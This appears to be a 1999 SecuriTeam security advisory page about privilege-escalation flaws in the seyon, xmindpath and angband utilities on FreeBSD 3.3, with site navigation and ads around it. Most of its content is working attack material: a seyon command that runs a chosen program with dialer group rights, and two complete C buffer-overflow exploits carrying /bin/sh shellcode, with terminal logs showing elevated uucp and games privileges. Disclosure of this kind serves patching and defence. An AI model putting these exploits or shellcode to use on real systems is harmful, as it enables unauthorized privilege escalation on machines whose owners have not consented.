Security News -  Security Reviews -   Exploits -  Tools -  UNIX Focus -  Windows Focus
Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Several FreeBSD-3.3 vulnerabilities have been found (seyon, xmindpath) 3 Dec. 1999    Summary Vulnerabilities in the 'seyon' and 'xmindpath' utilities can be used by attackers to gain elevate privileges. Each of the programs was installed with the default permissions given when unpacked with sysinstall. These permissions are: -rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon -rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath Note that these programs may be installed on other systems with different permissions as a result of a version change or a different packing scheme.   Credit: The information has been provided by: Brock Tellier. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerability #1 The Seyon Mess To summarize: Seyon was not meant to run with additional privileges. There are numerous problems with seyon and probably not all of them were found. Those that were found are: Buffer Overflows:  1. $HOME  2. seyon -emulator $BUF  3. seyon -modems $BUF  4. Many long text box input string overflows while in program Input Validation:  1. seyon will search $PATH for "xterm" and "seyon-emu" and exec with fullprivs (as noted in previous advisory)  2. seyon -emulator /program/to/execute/with/full/privs These privileges might be upgradeable to root if you are able to:  a. Trojan a dialer-writeable file  b. Use a symlink attack to clobber .rhosts or similar  c. Snoop device i/o. Vulnerability #2 xmindpath /usr/X11R6/bin/xmindpath (suid uucp by default), contains a buffer overflow that will allow any user to gain uucp privs. Simply enough: xmindpath -f $BUF Exploits: The Seyon exploit  seyon -emulator /program/to/execute Note that you'll have to execute a program that will ignore the args that seyon passes to it automatically as shown: bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c bash-2.03$ gcc -o id id.c bash-2.03$ seyon -emulator ./id uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer), 1000(xnec) The xmindpath exploit bash-2.03$ ls -la `which xmindpath`; id -rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath uid=1000(xnec) gid=1000(xnec) groups=1000(xnec) bash-2.03$ ./xmindx FreeBSD xmindpath exploit /path/to/xmindpath -f $RET Brock Tellier btellier@usa.net Using addr: 0xbfbfcfa8 bash-2.03$ xmindpath -f $RET lock open: File name too long $ id uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec) $ /* * * FreeBSD 3.3 xmindpath exploit gives euid uucp * Compile: gcc -o xmindx xmindx.c * Usage: ./xmindx <offset> /path/to/mindpath -f $RET * Brock Tellier <btellier@usa.net> * */ #include <stdlib.h> #include <stdio.h> char shell[]= /* mudge@l0pht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; #define EGGLEN 2048 #define RETLEN 279 #define ALIGN 3 #define NOP 0x90 int main(int argc, char *argv[]) {      long int offset=0;   int i;   int egglen = EGGLEN;   int retlen = RETLEN;   long int addr = 0xbfbfcfa8;   char egg[EGGLEN];   char ret[RETLEN];      if (argc == 2) offset = atoi(argv[1]);      addr=addr + offset;      fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n");   fprintf(stderr, "Brock Tellier btellier@usa.net\n");   fprintf(stderr, "Using addr: 0x%x\n", addr);      memset(egg,NOP,egglen);   memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell));      for(i=ALIGN;i< retlen;i+=4)     *(int *)&ret[i]=addr;      memcpy(egg, "EGG=", 4);   putenv(egg);   memcpy(ret,"RET=",4);   putenv(ret);      system("/usr/local/bin/bash");    } angband: bash-2.03$ gcc -o angames angames.c bash-2.03$ angband `./angames` eip=0xbfbfc6b4 offset=0 buflen=1095 NOPs to 1021 Shellcode to 1088 eip to 1092 garbage to 1094 $ id uid=1000(xnec) gid=1000(xnec) egid=13(games) groups=13(games), 1000(xnec) $ /* FreeBSD 3.3 angband exploit yields egid of group games * usage: gcc -o angames angames.c /path/to/angband `./angames <offset>` * overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage * Brock Tellier <btellier@usa.net> */ #include <stdio.h> char shell[]= /* mudge@lopht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; main (int argc, char *argv[] ) {   int x = 0;   int y = 0;   int offset = 0;   int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */   char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */   char arg[bsize + 2];   int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */      if (argv[1]) {     offset = atoi(argv[1]);     eip = eip + offset;   }   fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);      for ( x = 0; x < 1021; x++) buf[x] = 0x90;   fprintf(stderr, "NOPs to %d\n", x);      for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];   fprintf(stderr, "Shellcode to %d\n",x);      buf[x++] = eip & 0x000000ff;   buf[x++] = (eip & 0x0000ff00) >> 8;   buf[x++] = (eip & 0x00ff0000) >> 16;   buf[x++] = (eip & 0xff000000) >> 24;   fprintf(stderr, "eip to %d\n",x);   buf[x++] = 'X';   buf[x++] = 'X';   fprintf(stderr, "garbage to %d\n", x);      buf[bsize - 1] = '\0';      sprintf(arg, "-u%s", buf);   arg[bsize + 1] = '\0';      printf("%s", arg);    }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles RealNetworks RealPlayer Malformed AAC File Parsing Code Execution Vulnerability ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability
	Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus - Blogs - CVEs

Copyright © 1998-2011 Beyond Security® All rights reserved.
Terms of Use Site Privacy Statement.
SecuriTeam™ is a trademark of Beyond Security®